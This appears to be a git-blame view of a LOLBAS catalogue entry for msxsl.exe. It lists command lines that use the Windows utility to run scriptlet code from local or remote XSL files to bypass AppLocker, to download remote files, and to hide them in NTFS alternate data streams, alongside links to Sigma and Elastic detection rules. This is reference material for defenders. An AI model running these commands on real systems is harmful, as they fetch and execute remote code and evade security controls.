2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: msxsl.exe
|
2018-09-22 04:58:00 +02:00
|
|
|
Description: Command line utility used to perform XSL transformations.
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
2018-10-05 21:06:01 +02:00
|
|
|
- Command: msxsl.exe customers.xml script.xsl
|
|
|
|
Description: Run COM Scriptlet code within the script.xsl file (local).
|
|
|
|
Usecase: Local execution of script stored in XSL file.
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2023-08-05 19:04:09 +02:00
|
|
|
MitreID: T1220
|
2018-10-05 21:06:01 +02:00
|
|
|
OperatingSystem: Windows
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: msxsl.exe customers.xml script.xsl
|
|
|
|
Description: Run COM Scriptlet code within the script.xsl file (local).
|
2018-09-22 04:58:00 +02:00
|
|
|
Usecase: Local execution of script stored in XSL file.
|
|
|
|
Category: AWL Bypass
|
|
|
|
Privileges: User
|
2023-08-05 19:04:09 +02:00
|
|
|
MitreID: T1220
|
2018-09-22 04:58:00 +02:00
|
|
|
OperatingSystem: Windows
|
2021-11-14 18:27:17 +01:00
|
|
|
- Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
|
2018-10-05 21:06:01 +02:00
|
|
|
Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
|
|
|
|
Usecase: Local execution of remote script stored in XSL script stored as an XML file.
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2023-08-05 19:04:09 +02:00
|
|
|
MitreID: T1220
|
2018-10-05 21:06:01 +02:00
|
|
|
OperatingSystem: Windows
|
2021-11-14 18:27:17 +01:00
|
|
|
- Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
|
2018-06-09 00:15:06 +02:00
|
|
|
Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
|
2018-09-22 04:58:00 +02:00
|
|
|
Usecase: Local execution of remote script stored in XSL script stored as an XML file.
|
|
|
|
Category: AWL Bypass
|
|
|
|
Privileges: User
|
2023-08-05 19:04:09 +02:00
|
|
|
MitreID: T1220
|
|
|
|
OperatingSystem: Windows
|
|
|
|
- Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
|
|
|
|
Description: Using remote XML and XSL files, save the transformed XML file to disk.
|
|
|
|
Usecase: Download a file from the internet and save it to disk.
|
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
|
|
|
OperatingSystem: Windows
|
|
|
|
- Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>:ads-name
|
|
|
|
Description: Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).
|
|
|
|
Usecase: Download a file from the internet and save it to an NTFS Alternate Data Stream.
|
|
|
|
Category: ADS
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1564
|
2018-09-22 04:58:00 +02:00
|
|
|
OperatingSystem: Windows
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2022-09-11 06:03:30 +02:00
|
|
|
- Path: no default
|
2018-09-26 11:41:58 +02:00
|
|
|
Detection:
|
2021-11-15 14:19:03 +01:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_xsl_script_processing.yml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_msxsl_network.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-26 11:41:58 +02:00
|
|
|
- Link: https://twitter.com/subTee/status/877616321747271680
|
|
|
|
- Link: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
|
2023-08-05 19:04:09 +02:00
|
|
|
- Link: https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file
|
2018-09-26 11:41:58 +02:00
|
|
|
Acknowledgement:
|
|
|
|
- Person: Casey Smith
|
|
|
|
Handle: '@subtee'
|
2023-08-05 19:04:09 +02:00
|
|
|
- Person: Ronnie Salomonsen
|
|
|
|
Handle: '@r0ns3n'
|